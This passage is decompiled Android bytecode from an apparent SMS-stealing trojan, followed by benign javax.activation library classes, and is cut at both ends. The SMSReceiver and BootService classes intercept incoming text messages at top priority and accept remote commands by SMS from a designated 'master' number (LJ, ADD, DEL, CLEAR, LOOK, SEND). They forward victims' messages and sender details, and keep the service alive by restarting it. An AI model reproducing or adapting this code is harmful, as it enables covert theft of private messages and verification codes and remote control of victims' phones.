0000005E iget-object v0, p0, SMSReceiver->a:Context
00000062 new-instance v3, StringBuilder
00000066 invoke-static String->valueOf(Object)String, v2
0000006C move-result-object v2
0000006E invoke-direct StringBuilder-><init>(String)V, v3, v2
00000074 const-string v2, "<br>"
00000078 invoke-virtual StringBuilder->append(String)StringBuilder, v3, v2
0000007E move-result-object v2
00000080 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v1
00000086 move-result-object v1
00000088 const-string v2, "<br><br><br>"
0000008C invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000092 move-result-object v1
00000094 invoke-static j->a()String
0000009A move-result-object v2
0000009C invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
000000A2 move-result-object v1
000000A4 const-string v2, "-----------------广播<"
000000A8 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
000000AE move-result-object v1
000000B0 invoke-virtual StringBuilder->toString()String, v1
000000B6 move-result-object v1
000000B8 invoke-static d->a(Context, String)V, v0, v1
000000BE return-void
:C0
000000C0 aget-object v1, v0, v5
000000C4 check-cast v1, [B
000000C8 invoke-static SmsMessage->createFromPdu([B)SmsMessage, v1
000000CE move-result-object v1
000000D0 aput-object v1, v7, v5
000000D4 add-int/lit8 v1, v5, 0x1
000000D8 move v5, v1
000000DA goto :3A
:DC
000000DC aget-object v0, v7, v2
000000E0 invoke-virtual SmsMessage->getDisplayOriginatingAddress()String, v0
000000E6 move-result-object v3
000000E8 invoke-virtual SmsMessage->getMessageBody()String, v0
000000EE move-result-object v4
000000F0 new-instance v1, StringBuilder
000000F4 invoke-virtual SmsMessage->getTimestampMillis()J, v0
000000FA move-result-wide v8
000000FC invoke-static String->valueOf(J)String, v8, v9
00000102 move-result-object v0
00000104 invoke-direct StringBuilder-><init>(String)V, v1, v0
0000010A invoke-virtual StringBuilder->toString()String, v1
00000110 move-result-object v1
00000112 invoke-virtual StringBuffer->append(String)StringBuffer, v6, v4
00000118 add-int/lit8 v0, v2, 0x1
0000011C move v2, v0
0000011E move-object v0, v1
00000120 move-object v1, v3
00000122 goto :46
:124
00000124 move-object v0, v2
00000126 move-object v1, v3
00000128 goto :4A
.end method
.method private a(String, String, String)V
.registers 6
00000000 iget-object v0, p0, SMSReceiver->a:Context
00000004 invoke-static a->a(Context)a, v0
0000000A move-result-object v0
0000000C invoke-virtual a->c()String, v0
00000012 move-result-object v0
00000014 const-string v1, "123"
00000018 invoke-virtual String->contains(CharSequence)Z, v0, v1
0000001E move-result v1
00000020 if-nez v1, :26
:24
00000024 return-void
:26
00000026 invoke-direct SMSReceiver->a(String, String)Z, p0, p1, p2
0000002C move-result v1
0000002E if-nez v1, :24
:32
00000032 iget-object v1, p0, SMSReceiver->a:Context
00000036 invoke-static a->a(Context)a, v1
0000003C move-result-object v1
0000003E invoke-virtual a->g()I, v1
00000044 move-result v1
00000046 packed-switch v1, :68
:4C
0000004C goto :24
:4E
0000004E invoke-direct SMSReceiver->b(String, String, String)V, p0, p1, p2, p3
00000054 goto :24
:56
00000056 invoke-virtual SMSReceiver->clearAbortBroadcast()V, p0
0000005C goto :24
:5E
0000005E invoke-direct SMSReceiver->c(String, String, String)V, p0, v0, p2, p3
00000064 goto :24
00000068 .packed-switch 0x1
:4E
:5E
:56
.end packed-switch
.end method
.method private a(String, String)Z
.registers 10
00000000 const/4 v6, 0x4
00000002 const/4 v5, 0x2
00000004 const/4 v1, 0x0
00000006 const/4 v0, 0x1
00000008 iget-object v2, p0, SMSReceiver->a:Context
0000000C invoke-static a->a(Context)a, v2
00000012 move-result-object v2
00000014 invoke-virtual a->c()String, v2
0000001A move-result-object v2
0000001C invoke-virtual String->contains(CharSequence)Z, p1, v2
00000022 move-result v2
00000024 if-eqz v2, :226
:28
00000028 const-string v2, "------------------ 是主人----------------------"
0000002C invoke-static g->a(String)V, v2
00000032 invoke-virtual SMSReceiver->a(String)V, p0, p2
00000038 const-string v2, " "
0000003C invoke-virtual String->split(String)[String, p2, v2
00000042 move-result-object v2
00000044 aget-object v3, v2, v1
00000048 const-string v4, "LJ"
0000004C invoke-virtual String->equals(Object)Z, v3, v4
00000052 move-result v3
00000054 if-eqz v3, :D2
:58
00000058 aget-object v1, v2, v0
0000005C const-string v3, "ALL"
00000060 invoke-virtual String->equals(Object)Z, v1, v3
00000066 move-result v1
00000068 if-eqz v1, :80
:6C
0000006C iget-object v1, p0, SMSReceiver->a:Context
00000070 invoke-static a->a(Context)a, v1
00000076 move-result-object v1
00000078 invoke-virtual a->a(I)V, v1, v0
:7E
0000007E return v0
:80
00000080 aget-object v1, v2, v0
00000084 const-string v3, "SOME"
00000088 invoke-virtual String->equals(Object)Z, v1, v3
0000008E move-result v1
00000090 if-eqz v1, :A8
:94
00000094 iget-object v1, p0, SMSReceiver->a:Context
00000098 invoke-static a->a(Context)a, v1
0000009E move-result-object v1
000000A0 invoke-virtual a->a(I)V, v1, v5
000000A6 goto :7E
:A8
000000A8 aget-object v1, v2, v0
000000AC const-string v2, "NO"
000000B0 invoke-virtual String->equals(Object)Z, v1, v2
000000B6 move-result v1
000000B8 if-eqz v1, :7E
:BC
000000BC iget-object v1, p0, SMSReceiver->a:Context
000000C0 invoke-static a->a(Context)a, v1
000000C6 move-result-object v1
000000C8 const/4 v2, 0x3
000000CA invoke-virtual a->a(I)V, v1, v2
000000D0 goto :7E
:D2
000000D2 aget-object v3, v2, v1
000000D6 const-string v4, "ADD"
000000DA invoke-virtual String->equals(Object)Z, v3, v4
000000E0 move-result v3
000000E2 if-eqz v3, :100
:E6
000000E6 new-instance v1, c
000000EA invoke-direct c-><init>()V, v1
000000F0 aget-object v2, v2, v0
000000F4 iput-object v2, v1, c->c:String
000000F8 invoke-static b->a(c)Z, v1
000000FE goto :7E
:100
00000100 aget-object v3, v2, v1
00000104 const-string v4, "DEL"
00000108 invoke-virtual String->equals(Object)Z, v3, v4
0000010E move-result v3
00000110 if-eqz v3, :120
:114
00000114 aget-object v1, v2, v0
00000118 invoke-static b->a(String)Z, v1
0000011E goto :7E
:120
00000120 aget-object v3, v2, v1
00000124 const-string v4, "CLEAR"
00000128 invoke-virtual String->equals(Object)Z, v3, v4
0000012E move-result v3
00000130 if-eqz v3, :160
:134
00000134 aget-object v1, v2, v0
00000138 const-string v3, "ALL"
0000013C invoke-virtual String->equals(Object)Z, v1, v3
00000142 move-result v1
00000144 if-eqz v1, :150
:148
00000148 invoke-static b->a()Z
0000014E goto :7E
:150
00000150 aget-object v1, v2, v0
00000154 const-string v2, "MESSAGE"
00000158 invoke-virtual String->equals(Object)Z, v1, v2
0000015E goto :7E
:160
00000160 aget-object v3, v2, v1
00000164 const-string v4, "LOOK"
00000168 invoke-virtual String->equals(Object)Z, v3, v4
0000016E move-result v3
00000170 if-eqz v3, :1F2
:174
00000174 aget-object v1, v2, v0
00000178 const-string v3, "TIME"
0000017C invoke-virtual String->equals(Object)Z, v1, v3
00000182 move-result v1
00000184 if-eqz v1, :1C8
:188
00000188 new-instance v1, StringBuilder
0000018C const-string v2, "到期时间:"
00000190 invoke-direct StringBuilder-><init>(String)V, v1, v2
00000196 iget-object v2, p0, SMSReceiver->a:Context
0000019A invoke-static a->a(Context)a, v2
000001A0 move-result-object v2
000001A2 invoke-virtual a->e()String, v2
000001A8 move-result-object v2
000001AA invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
000001B0 move-result-object v1
000001B2 invoke-virtual StringBuilder->toString()String, v1
000001B8 move-result-object v1
000001BA iget-object v2, p0, SMSReceiver->a:Context
000001BE invoke-static k->a(String, I, Context)V, v1, v6, v2
000001C4 goto/16 :7E
:1C8
000001C8 aget-object v1, v2, v0
000001CC const-string v2, "PHONE"
000001D0 invoke-virtual String->equals(Object)Z, v1, v2
000001D6 move-result v1
000001D8 if-eqz v1, :7E
:1DC
000001DC invoke-static j->a()String
000001E2 move-result-object v1
000001E4 iget-object v2, p0, SMSReceiver->a:Context
000001E8 invoke-static k->a(String, I, Context)V, v1, v6, v2
000001EE goto/16 :7E
:1F2
000001F2 aget-object v1, v2, v1
000001F6 const-string v3, "SEND"
000001FA invoke-virtual String->equals(Object)Z, v1, v3
00000200 move-result v1
00000202 if-eqz v1, :7E
:206
00000206 const/4 v1, 0x1
:208
00000208 aget-object v1, v2, v1
0000020C const/4 v3, 0x2
0000020E aget-object v2, v2, v3
00000212 iget-object v3, p0, SMSReceiver->a:Context
00000216 invoke-static k->a(String, String, Context)V, v1, v2, v3
:21C
0000021C goto/16 :7E
:220
00000220 move-exception v1
00000222 goto/16 :7E
:226
00000226 move v0, v1
00000228 goto/16 :7E
.catch Exception {:208 .. :21C} :220
.end method
.method private b(String, String, String)V
.registers 7
00000000 invoke-virtual SMSReceiver->a(String)V, p0, p2
00000006 new-instance v0, StringBuilder
0000000A invoke-static String->valueOf(Object)String, p2
00000010 move-result-object v1
00000012 invoke-direct StringBuilder-><init>(String)V, v0, v1
00000018 const-string v1, "\n来自:"
0000001C invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000022 move-result-object v0
00000024 invoke-virtual StringBuilder->append(String)StringBuilder, v0, p1
0000002A move-result-object v0
0000002C invoke-virtual StringBuilder->toString()String, v0
00000032 move-result-object v0
00000034 const/4 v1, 0x4
00000036 iget-object v2, p0, SMSReceiver->a:Context
0000003A invoke-static k->a(String, I, Context)V, v0, v1, v2
00000040 return-void
.end method
.method private c(String, String, String)V
.registers 7
00000000 invoke-static b->b()ArrayList
00000006 move-result-object v0
00000008 invoke-virtual ArrayList->iterator()Iterator, v0
0000000E move-result-object v1
:10
00000010 invoke-interface Iterator->hasNext()Z, v1
00000016 move-result v0
00000018 if-nez v0, :1E
:1C
0000001C return-void
:1E
0000001E invoke-interface Iterator->next()Object, v1
00000024 move-result-object v0
00000026 check-cast v0, c
0000002A iget-object v0, v0, c->c:String
0000002E invoke-virtual String->contains(CharSequence)Z, p1, v0
00000034 move-result v0
00000036 if-eqz v0, :10
:3A
0000003A invoke-virtual SMSReceiver->a(String)V, p0, p2
00000040 new-instance v0, StringBuilder
00000044 invoke-static String->valueOf(Object)String, p2
0000004A move-result-object v1
0000004C invoke-direct StringBuilder-><init>(String)V, v0, v1
00000052 const-string v1, "\n来自:"
00000056 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
0000005C move-result-object v0
0000005E invoke-virtual StringBuilder->append(String)StringBuilder, v0, p1
00000064 move-result-object v0
00000066 invoke-virtual StringBuilder->toString()String, v0
0000006C move-result-object v0
0000006E const/4 v1, 0x4
00000070 iget-object v2, p0, SMSReceiver->a:Context
00000074 invoke-static k->a(String, I, Context)V, v0, v1, v2
0000007A goto :1C
.end method
.method public a(String)V
.registers 6
00000000 const/4 v3, 0x1
00000002 const/4 v2, 0x0
00000004 sget-object v0, Build$VERSION->RELEASE:String
00000008 invoke-static String->valueOf(Object)String, v0
0000000E move-result-object v0
00000010 const-string v1, "4.3"
00000014 invoke-virtual String->compareTo(String)I, v0, v1
0000001A move-result v0
0000001C if-ltz v0, :68
:20
00000020 iget-boolean v0, p0, SMSReceiver->c:Z
00000024 if-nez v0, :54
:28
00000028 iput-boolean v3, p0, SMSReceiver->c:Z
0000002C iget-object v0, p0, SMSReceiver->a:Context
00000030 invoke-static d->b(Context, I)V, v0, v2
00000036 iget-object v0, p0, SMSReceiver->a:Context
0000003A invoke-static d->c(Context, I)V, v0, v2
00000040 iget-object v0, p0, SMSReceiver->a:Context
00000044 invoke-static d->a(Context, I)V, v0, v2
0000004A iget-object v0, p0, SMSReceiver->a:Context
0000004E invoke-static d->a(Context, Z)V, v0, v3
:54
00000054 new-instance v0, h
00000058 invoke-direct h-><init>()V, v0
0000005E iget-object v1, p0, SMSReceiver->a:Context
00000062 invoke-virtual h->a(Context, String)V, v0, v1, p1
:68
00000068 return-void
.end method
.method public onReceive(Context, Intent)V
.registers 4
00000000 const-string v0, " 广播---------------------------------------"
00000004 invoke-static g->a(String)V, v0
0000000A iput-object p1, p0, SMSReceiver->a:Context
0000000E invoke-direct SMSReceiver->a(Intent)V, p0, p2
00000014 return-void
.end method
#--------------------------------------------------------------------------------
.class public BootService
.super Service
.source ""
.method public constructor <init>()V
.registers 1
00000000 invoke-direct Service-><init>()V, p0
00000006 return-void
.end method
.method private a()V
.registers 5
00000000 invoke-virtual BootService->getContentResolver()ContentResolver, p0
00000006 move-result-object v0
00000008 new-instance v1, a
0000000C new-instance v2, Handler
00000010 invoke-direct Handler-><init>()V, v2
00000016 invoke-direct a-><init>(Context, Handler)V, v1, p0, v2
0000001C sget-object v2, a->a:Uri
00000020 const/4 v3, 0x1
00000022 invoke-virtual ContentResolver->registerContentObserver(Uri, Z, ContentObserver)V, v0, v2, v3, v1
00000028 return-void
.end method
.method private b()V
.registers 5
00000000 new-instance v0, IntentFilter
00000004 invoke-direct IntentFilter-><init>()V, v0
0000000A const v1, 0x7FFFFFFF
00000010 invoke-virtual IntentFilter->setPriority(I)V, v0, v1
00000016 const-string v1, "android.provider.Telephony.SMS_RECEIVED"
0000001A invoke-virtual IntentFilter->addAction(String)V, v0, v1
00000020 const-string v1, "android.provider.Telephony.SMS_RECEIVED_2"
00000024 invoke-virtual IntentFilter->addAction(String)V, v0, v1
0000002A new-instance v1, SMSReceiver
0000002E invoke-direct SMSReceiver-><init>()V, v1
00000034 const-string v2, "android.permission.BROADCAST_SMS"
00000038 const/4 v3, 0x0
0000003A invoke-virtual BootService->registerReceiver(BroadcastReceiver, IntentFilter, String, Handler)Intent, p0, v1, v0, v2, v3
00000040 return-void
.end method
.method public onBind(Intent)IBinder
.registers 3
00000000 const/4 v0, 0x0
00000002 return-object v0
.end method
.method public onCreate()V
.registers 3
00000000 invoke-super Service->onCreate()V, p0
00000006 invoke-static g->a()Z
0000000C move-result v0
0000000E if-eqz v0, :24
:12
00000012 invoke-static a->a(Context)a, p0
00000018 move-result-object v0
0000001A const/4 v1, 0x3
0000001C invoke-virtual a->a(I)V, v0, v1
:22
00000022 return-void
:24
00000024 invoke-static g->a(Context)V, p0
0000002A invoke-direct BootService->b()V, p0
00000030 invoke-direct BootService->a()V, p0
00000036 goto :22
.end method
.method public onDestroy()V
.registers 3
00000000 invoke-super Service->onDestroy()V, p0
00000006 const/4 v0, 0x1
00000008 invoke-virtual BootService->stopForeground(Z)V, p0, v0
0000000E new-instance v0, Intent
00000012 invoke-direct Intent-><init>()V, v0
00000018 const-class v1, BootService
0000001C invoke-virtual Intent->setClass(Context, Class)Intent, v0, p0, v1
00000022 invoke-virtual BootService->startService(Intent)ComponentName, p0, v0
00000028 return-void
.end method
.method public onStartCommand(Intent, I, I)I
.registers 9
00000000 new-instance v0, Notification
00000004 const v1, 0x7F020001 # R.drawable.icon
0000000A const-string v2, ""
0000000E invoke-static System->currentTimeMillis()J
00000014 move-result-wide v3
00000016 invoke-direct Notification-><init>(I, CharSequence, J)V, v0, v1, v2, v3, v4
0000001C new-instance v1, RemoteViews
00000020 invoke-virtual BootService->getPackageName()String, p0
00000026 move-result-object v2
00000028 const/high16 v3, 0x7F030000 # R.layout.activity_aa
0000002C invoke-direct RemoteViews-><init>(String, I)V, v1, v2, v3
00000032 iput-object v1, v0, Notification->contentView:RemoteViews
00000036 const/4 v1, 0x0
00000038 new-instance v2, Intent
0000003C invoke-direct Intent-><init>()V, v2
00000042 const/high16 v3, 0x10000000
00000046 invoke-static PendingIntent->getActivity(Context, I, Intent, I)PendingIntent, p0, v1, v2, v3
0000004C move-result-object v1
0000004E iput-object v1, v0, Notification->contentIntent:PendingIntent
00000052 const/16 v1, 0x159
00000056 invoke-virtual BootService->startForeground(I, Notification)V, p0, v1, v0
0000005C const/4 v0, 0x3
0000005E invoke-super Service->onStartCommand(Intent, I, I)I, p0, p1, v0, p3
00000064 move-result v0
00000066 return v0
.end method
#--------------------------------------------------------------------------------
.class LineTokenizer
.super Object
.source ""
.field private static final singles:String = "="
.field private currentPosition:I
.field private maxPosition:I
.field private stack:Vector
.field private str:String
.method public constructor <init>(String)V
.registers 3
00000000 invoke-direct Object-><init>()V, p0
00000006 new-instance v0, Vector
0000000A invoke-direct Vector-><init>()V, v0
00000010 iput-object v0, p0, LineTokenizer->stack:Vector
00000014 const/4 v0, 0x0
00000016 iput v0, p0, LineTokenizer->currentPosition:I
0000001A iput-object p1, p0, LineTokenizer->str:String
0000001E invoke-virtual String->length()I, p1
00000024 move-result v0
00000026 iput v0, p0, LineTokenizer->maxPosition:I
0000002A return-void
.end method
.method private skipWhiteSpace()V
.registers 3
00000000 iget v0, p0, LineTokenizer->currentPosition:I
00000004 iget v1, p0, LineTokenizer->maxPosition:I
00000008 if-ge v0, v1, :28
:C
0000000C iget-object v0, p0, LineTokenizer->str:String
00000010 iget v1, p0, LineTokenizer->currentPosition:I
00000014 invoke-virtual String->charAt(I)C, v0, v1
0000001A move-result v0
0000001C invoke-static Character->isWhitespace(C)Z, v0
00000022 move-result v0
00000024 if-nez v0, :2A
:28
00000028 return-void
:2A
0000002A iget v0, p0, LineTokenizer->currentPosition:I
0000002E add-int/lit8 v0, v0, 0x1
00000032 iput v0, p0, LineTokenizer->currentPosition:I
00000036 goto :0
.end method
.method public hasMoreTokens()Z
.registers 4
00000000 const/4 v0, 0x1
00000002 iget-object v1, p0, LineTokenizer->stack:Vector
00000006 invoke-virtual Vector->size()I, v1
0000000C move-result v1
0000000E if-lez v1, :14
:12
00000012 return v0
:14
00000014 invoke-direct LineTokenizer->skipWhiteSpace()V, p0
0000001A iget v1, p0, LineTokenizer->currentPosition:I
0000001E iget v2, p0, LineTokenizer->maxPosition:I
00000022 if-lt v1, v2, :12
:26
00000026 const/4 v0, 0x0
00000028 goto :12
.end method
.method public nextToken()String
.registers 8
00000000 const/16 v6, 0x5C
00000004 const/16 v5, 0x22
00000008 iget-object v0, p0, LineTokenizer->stack:Vector
0000000C invoke-virtual Vector->size()I, v0
00000012 move-result v1
00000014 if-lez v1, :3C
:18
00000018 iget-object v0, p0, LineTokenizer->stack:Vector
0000001C add-int/lit8 v2, v1, 0xFFFFFFFFFFFFFFFF
00000020 invoke-virtual Vector->elementAt(I)Object, v0, v2
00000026 move-result-object v0
00000028 check-cast v0, String
0000002C iget-object v2, p0, LineTokenizer->stack:Vector
00000030 add-int/lit8 v1, v1, 0xFFFFFFFFFFFFFFFF
00000034 invoke-virtual Vector->removeElementAt(I)V, v2, v1
:3A
0000003A return-object v0
:3C
0000003C invoke-direct LineTokenizer->skipWhiteSpace()V, p0
00000042 iget v0, p0, LineTokenizer->currentPosition:I
00000046 iget v1, p0, LineTokenizer->maxPosition:I
0000004A if-lt v0, v1, :5A
:4E
0000004E new-instance v0, NoSuchElementException
00000052 invoke-direct NoSuchElementException-><init>()V, v0
00000058 throw v0
:5A
0000005A iget v1, p0, LineTokenizer->currentPosition:I
0000005E iget-object v0, p0, LineTokenizer->str:String
00000062 invoke-virtual String->charAt(I)C, v0, v1
00000068 move-result v0
0000006A if-ne v0, v5, :128
:6E
0000006E iget v0, p0, LineTokenizer->currentPosition:I
00000072 add-int/lit8 v0, v0, 0x1
00000076 iput v0, p0, LineTokenizer->currentPosition:I
0000007A const/4 v0, 0x0
:7C
0000007C iget v2, p0, LineTokenizer->currentPosition:I
00000080 iget v3, p0, LineTokenizer->maxPosition:I
00000084 if-lt v2, v3, :9A
:88
00000088 iget-object v0, p0, LineTokenizer->str:String
0000008C iget v2, p0, LineTokenizer->currentPosition:I
00000090 invoke-virtual String->substring(I, I)String, v0, v1, v2
00000096 move-result-object v0
00000098 goto :3A
:9A
0000009A iget-object v2, p0, LineTokenizer->str:String
0000009E iget v3, p0, LineTokenizer->currentPosition:I
000000A2 add-int/lit8 v4, v3, 0x1
000000A6 iput v4, p0, LineTokenizer->currentPosition:I
000000AA invoke-virtual String->charAt(I)C, v2, v3
000000B0 move-result v2
000000B2 if-ne v2, v6, :C6
:B6
000000B6 iget v0, p0, LineTokenizer->currentPosition:I
000000BA add-int/lit8 v0, v0, 0x1
000000BE iput v0, p0, LineTokenizer->currentPosition:I
000000C2 const/4 v0, 0x1
000000C4 goto :7C
:C6
000000C6 if-ne v2, v5, :7C
:CA
000000CA if-eqz v0, :10E
:CE
000000CE new-instance v2, StringBuffer
000000D2 invoke-direct StringBuffer-><init>()V, v2
000000D8 add-int/lit8 v0, v1, 0x1
:DC
000000DC iget v1, p0, LineTokenizer->currentPosition:I
000000E0 add-int/lit8 v1, v1, 0xFFFFFFFFFFFFFFFF
000000E4 if-lt v0, v1, :F2
:E8
000000E8 invoke-virtual StringBuffer->toString()String, v2
000000EE move-result-object v0
000000F0 goto :3A
:F2
000000F2 iget-object v1, p0, LineTokenizer->str:String
000000F6 invoke-virtual String->charAt(I)C, v1, v0
000000FC move-result v1
000000FE if-eq v1, v6, :108
:102
00000102 invoke-virtual StringBuffer->append(C)StringBuffer, v2, v1
:108
00000108 add-int/lit8 v0, v0, 0x1
0000010C goto :DC
:10E
0000010E iget-object v0, p0, LineTokenizer->str:String
00000112 add-int/lit8 v1, v1, 0x1
00000116 iget v2, p0, LineTokenizer->currentPosition:I
0000011A add-int/lit8 v2, v2, 0xFFFFFFFFFFFFFFFF
0000011E invoke-virtual String->substring(I, I)String, v0, v1, v2
00000124 move-result-object v0
00000126 goto :3A
:128
00000128 const-string v2, "="
0000012C invoke-virtual String->indexOf(I)I, v2, v0
00000132 move-result v0
00000134 if-ltz v0, :152
:138
00000138 iget v0, p0, LineTokenizer->currentPosition:I
0000013C add-int/lit8 v0, v0, 0x1
00000140 iput v0, p0, LineTokenizer->currentPosition:I
00000144 goto :88
:146
00000146 iget v0, p0, LineTokenizer->currentPosition:I
0000014A add-int/lit8 v0, v0, 0x1
0000014E iput v0, p0, LineTokenizer->currentPosition:I
:152
00000152 iget v0, p0, LineTokenizer->currentPosition:I
00000156 iget v2, p0, LineTokenizer->maxPosition:I
0000015A if-ge v0, v2, :88
:15E
0000015E const-string v0, "="
00000162 iget-object v2, p0, LineTokenizer->str:String
00000166 iget v3, p0, LineTokenizer->currentPosition:I
0000016A invoke-virtual String->charAt(I)C, v2, v3
00000170 move-result v2
00000172 invoke-virtual String->indexOf(I)I, v0, v2
00000178 move-result v0
0000017A if-gez v0, :88
:17E
0000017E iget-object v0, p0, LineTokenizer->str:String
00000182 iget v2, p0, LineTokenizer->currentPosition:I
00000186 invoke-virtual String->charAt(I)C, v0, v2
0000018C move-result v0
0000018E invoke-static Character->isWhitespace(C)Z, v0
00000194 move-result v0
00000196 if-eqz v0, :146
:19A
0000019A goto/16 :88
.end method
.method public pushToken(String)V
.registers 3
00000000 iget-object v0, p0, LineTokenizer->stack:Vector
00000004 invoke-virtual Vector->addElement(Object)V, v0, p1
0000000A return-void
.end method
#--------------------------------------------------------------------------------
.class public LogSupport
.super Object
.source ""
.field private static debug:Z
.field private static final level:Level
.field private static logger:Logger
.method static constructor <clinit>()V
.registers 1
00000000 const/4 v0, 0x0
00000002 sput-boolean v0, LogSupport->debug:Z
00000006 sget-object v0, Level->FINE:Level
0000000A sput-object v0, LogSupport->level:Level
:E
0000000E const-string v0, "javax.activation.debug"
00000012 invoke-static Boolean->getBoolean(String)Z, v0
00000018 move-result v0
0000001A sput-boolean v0, LogSupport->debug:Z
:1E
0000001E const-string v0, "javax.activation"
00000022 invoke-static Logger->getLogger(String)Logger, v0
00000028 move-result-object v0
0000002A sput-object v0, LogSupport->logger:Logger
0000002E return-void
:30
00000030 move-exception v0
00000032 goto :1E
.catch Throwable {:E .. :1E} :30
.end method
.method private constructor <init>()V
.registers 1
00000000 invoke-direct Object-><init>()V, p0
00000006 return-void
.end method
.method public static isLoggable()Z
.registers 2
00000000 sget-boolean v0, LogSupport->debug:Z
00000004 if-nez v0, :20
:8
00000008 sget-object v0, LogSupport->logger:Logger
0000000C sget-object v1, LogSupport->level:Level
00000010 invoke-virtual Logger->isLoggable(Level)Z, v0, v1
00000016 move-result v0
00000018 if-nez v0, :20
:1C
0000001C const/4 v0, 0x0
:1E
0000001E return v0
:20
00000020 const/4 v0, 0x1
00000022 goto :1E
.end method
.method public static log(String)V
.registers 3
00000000 sget-boolean v0, LogSupport->debug:Z
00000004 if-eqz v0, :12
:8
00000008 sget-object v0, System->out:PrintStream
0000000C invoke-virtual PrintStream->println(String)V, v0, p0
:12
00000012 sget-object v0, LogSupport->logger:Logger
00000016 sget-object v1, LogSupport->level:Level
0000001A invoke-virtual Logger->log(Level, String)V, v0, v1, p0
00000020 return-void
.end method
.method public static log(String, Throwable)V
.registers 5
00000000 sget-boolean v0, LogSupport->debug:Z
00000004 if-eqz v0, :40
:8
00000008 sget-object v0, System->out:PrintStream
0000000C new-instance v1, StringBuilder
00000010 invoke-static String->valueOf(Object)String, p0
00000016 move-result-object v2
00000018 invoke-direct StringBuilder-><init>(String)V, v1, v2
0000001E const-string v2, "; Exception: "
00000022 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000028 move-result-object v1
0000002A invoke-virtual StringBuilder->append(Object)StringBuilder, v1, p1
00000030 move-result-object v1
00000032 invoke-virtual StringBuilder->toString()String, v1
00000038 move-result-object v1
0000003A invoke-virtual PrintStream->println(String)V, v0, v1
:40
00000040 sget-object v0, LogSupport->logger:Logger
00000044 sget-object v1, LogSupport->level:Level
00000048 invoke-virtual Logger->log(Level, String, Throwable)V, v0, v1, p0, p1
0000004E return-void
.end method
#--------------------------------------------------------------------------------
.class public MailcapFile
.super Object
.source ""
.field private static addReverse:Z
.field private fallback_hash:Map
.field private native_commands:Map
.field private type_hash:Map
.method static constructor <clinit>()V
.registers 1
00000000 const/4 v0, 0x0
00000002 sput-boolean v0, MailcapFile->addReverse:Z
:6
00000006 const-string v0, "javax.activation.addreverse"
0000000A invoke-static Boolean->getBoolean(String)Z, v0
00000010 move-result v0
00000012 sput-boolean v0, MailcapFile->addReverse:Z
:16
00000016 return-void
:18
00000018 move-exception v0
0000001A goto :16
.catch Throwable {:6 .. :16} :18
.end method
.method public constructor <init>()V
.registers 2
00000000 invoke-direct Object-><init>()V, p0
00000006 new-instance v0, HashMap
0000000A invoke-direct HashMap-><init>()V, v0
00000010 iput-object v0, p0, MailcapFile->type_hash:Map
00000014 new-instance v0, HashMap
00000018 invoke-direct HashMap-><init>()V, v0
0000001E iput-object v0, p0, MailcapFile->fallback_hash:Map
00000022 new-instance v0, HashMap
00000026 invoke-direct HashMap-><init>()V, v0
0000002C iput-object v0, p0, MailcapFile->native_commands:Map
00000030 invoke-static LogSupport->isLoggable()Z
00000036 move-result v0
00000038 if-eqz v0, :46
:3C
0000003C const-string v0, "new MailcapFile: default"
00000040 invoke-static LogSupport->log(String)V, v0
:46
00000046 return-void
.end method
.method public constructor <init>(InputStream)V
.registers 5
00000000 invoke-direct Object-><init>()V, p0
00000006 new-instance v0, HashMap
0000000A invoke-direct HashMap-><init>()V, v0
00000010 iput-object v0, p0, MailcapFile->type_hash:Map
00000014 new-instance v0, HashMap
00000018 invoke-direct HashMap-><init>()V, v0
0000001E iput-object v0, p0, MailcapFile->fallback_hash:Map
00000022 new-instance v0, HashMap
00000026 invoke-direct HashMap-><init>()V, v0
0000002C iput-object v0, p0, MailcapFile->native_commands:Map
00000030 invoke-static LogSupport->isLoggable()Z
00000036 move-result v0
00000038 if-eqz v0, :46
:3C
0000003C const-string v0, "new MailcapFile: InputStream"
00000040 invoke-static LogSupport->log(String)V, v0
:46
00000046 new-instance v0, BufferedReader
0000004A new-instance v1, InputStreamReader
0000004E const-string v2, "iso-8859-1"
00000052 invoke-direct InputStreamReader-><init>(InputStream, String)V, v1, p1, v2
00000058 invoke-direct BufferedReader-><init>(Reader)V, v0, v1
0000005E invoke-direct MailcapFile->parse(Reader)V, p0, v0
00000064 return-void
.end method
.method public constructor <init>(String)V
.registers 5
00000000 invoke-direct Object-><init>()V, p0
00000006 new-instance v0, HashMap
0000000A invoke-direct HashMap-><init>()V, v0
00000010 iput-object v0, p0, MailcapFile->type_hash:Map
00000014 new-instance v0, HashMap
00000018 invoke-direct HashMap-><init>()V, v0
0000001E iput-object v0, p0, MailcapFile->fallback_hash:Map
00000022 new-instance v0, HashMap
00000026 invoke-direct HashMap-><init>()V, v0
0000002C iput-object v0, p0, MailcapFile->native_commands:Map
00000030 invoke-static LogSupport->isLoggable()Z
00000036 move-result v0
00000038 if-eqz v0, :60
:3C
0000003C new-instance v0, StringBuilder
00000040 const-string v1, "new MailcapFile: file "
00000044 invoke-direct StringBuilder-><init>(String)V, v0, v1
0000004A invoke-virtual StringBuilder->append(String)StringBuilder, v0, p1
00000050 move-result-object v0
00000052 invoke-virtual StringBuilder->toString()String, v0
00000058 move-result-object v0
0000005A invoke-static LogSupport->log(String)V, v0
:60
00000060 const/4 v2, 0x0
:62
00000062 new-instance v1, FileReader
00000066 invoke-direct FileReader-><init>(String)V, v1, p1
:6C
0000006C new-instance v0, BufferedReader
00000070 invoke-direct BufferedReader-><init>(Reader)V, v0, v1
00000076 invoke-direct MailcapFile->parse(Reader)V, p0, v0
:7C
0000007C if-eqz v1, :86
:80
00000080 invoke-virtual FileReader->close()V, v1
:86
00000086 return-void
:88
00000088 move-exception v0
0000008A move-object v1, v2
:8C
0000008C if-eqz v1, :96
:90
00000090 invoke-virtual FileReader->close()V, v1
:96
00000096 throw v0
:98
00000098 move-exception v1
0000009A goto :96
:9C
0000009C move-exception v0
0000009E goto :86
:A0
000000A0 move-exception v0
000000A2 goto :8C
.catchall {:62 .. :6C} :88
.catchall {:6C .. :7C} :A0
.catch IOException {:80 .. :86} :9C
.catch IOException {:90 .. :96} :98
.end method
.method private mergeResults(Map, Map)Map
.registers 9
00000000 invoke-interface Map->keySet()Set, p2
00000006 move-result-object v0
00000008 invoke-interface Set->iterator()Iterator, v0
0000000E move-result-object v3
